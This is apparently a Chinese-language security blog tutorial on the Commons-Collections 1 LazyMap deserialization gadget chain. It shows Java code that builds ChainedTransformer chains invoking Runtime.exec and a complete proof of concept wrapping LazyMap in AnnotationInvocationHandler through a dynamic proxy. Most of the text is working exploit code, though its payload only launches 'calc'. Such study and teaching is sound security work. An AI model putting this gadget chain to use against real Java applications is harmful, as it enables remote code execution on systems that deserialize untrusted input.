'Java反序列化-cc1-LazyMap'

上一篇我们分析的是TransformedMap的利用链,是此链条传入国内后,国内研究员的分析。
这次我们分析正版yso中的cc1 LazyMap 利用链。LazyMap相比之前的会更加麻烦一些,同时会用到动态代理

0x00 寻找链尾的exec方法

1
2
3
4
5
6
7
8
9
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

判断map中key在不在,如果在get获取key。
如果不在(false),利用transform方法获取key,然后put插入key value。

我们去找一找 factory 是什么

1
protected final Transformer factory;

发现了熟悉的decorate方法

尝试构造攻击链

1
2
3
4
5
6
7
8
Runtime runtime = Runtime.getRuntime();
InvokerTransformer exec = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
Map decorateMap = LazyMap.decorate(objectObjectHashMap, exec);
Class<LazyMap> lazyMapClass = LazyMap.class;
Method LazygetMethod = lazyMapClass.getDeclaredMethod("get",Object.class);
LazygetMethod.setAccessible(true);
Object o = LazygetMethod.invoke(decorateMap, runtime);

这里不再解释,因为上一篇cc1-TransformedMap时已经构造过,这里只不过是替换为get方法,以及map class。

这里InvokerTransformer也可以换成ChainedTransformer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Runtime runtime = Runtime.getRuntime();
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod"
, new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke"
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec"
, new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
Map decorateMap = LazyMap.decorate(objectObjectHashMap, chainedTransformer);
Class<LazyMap> lazyMapClass = LazyMap.class;
Method LazygetMethod = lazyMapClass.getDeclaredMethod("get",Object.class);
LazygetMethod.setAccessible(true);
Object o = LazygetMethod.invoke(decorateMap, runtime);

1
2
3
4
5
6
7
8
9
10
11
12
13
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod"
, new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke"
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec"
, new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
Map decorateMap = LazyMap.decorate(objectObjectHashMap, chainedTransformer);
decorateMap.get("test");

0x01 寻找链子

后面的链子基本没什么问题了,现在主要问题是找get方法。寻找执行readObject时调用get方法。
往上走,我们去找一找谁调用了 LazyMap.get()

最终找到了sun\reflect\annotation\AnnotationInvocationHandler.java invoke方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public Object invoke(Object proxy, Method method, Object[] args) {
String member = method.getName();
Class<?>[] paramTypes = method.getParameterTypes();

// Handle Object and Annotation methods
if (member.equals("equals") && paramTypes.length == 1 &&
paramTypes[0] == Object.class)
return equalsImpl(args[0]);
if (paramTypes.length != 0)
throw new AssertionError("Too many parameters for an annotation method");

switch(member) {
case "toString":
return toStringImpl();
case "hashCode":
return hashCodeImpl();
case "annotationType":
return type;
}

// Handle annotation member accessors
Object result = memberValues.get(member);

if (result == null)
throw new IncompleteAnnotationException(type, member);

if (result instanceof ExceptionProxy)
throw ((ExceptionProxy) result).generateException();

if (result.getClass().isArray() && Array.getLength(result) != 0)
result = cloneArray(result);

return result;
}

搜索get
最后两个get无法使用,这两个是annotationType.memberTypes,注解的成员变量,所以无法操作。

因此我们使用memberValues.get(member); 此get方法。
怎么调到此方法呢,前面有两个if判断,需要符合。
第一个if:调用equals方法,就会return调用equalsImpl。
第二个if:paramTypes.length不能为0,那就是我们需要传一个无参参数。

然后我们发现,AnnotationInvocationHandler的readObject方法,调用了自己的invoke方法(443行注释)。如果注解成员中没有参数,那么就调用invoke方法。

所以我们想到了Override class。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod"
, new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke"
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec"
, new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
Map decorateMap = LazyMap.decorate(objectObjectHashMap, chainedTransformer);

Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> AnnotationdeclaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
AnnotationdeclaredConstructor.setAccessible(true);
InvocationHandler h = (InvocationHandler) AnnotationdeclaredConstructor.newInstance(Override.class, decorateMap);
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);

Object o = AnnotationdeclaredConstructor.newInstance(Override.class, mapProxy);

所以我们还是使用动态代理进行构造poc。

最后的流程图
redObject()->this.memberValues.entrySet()->InvocationHandler的invoke()->this.memberValues.get()->LayzMap的get()->this.factory.transformer()后面跟transformerMap的攻击链一样。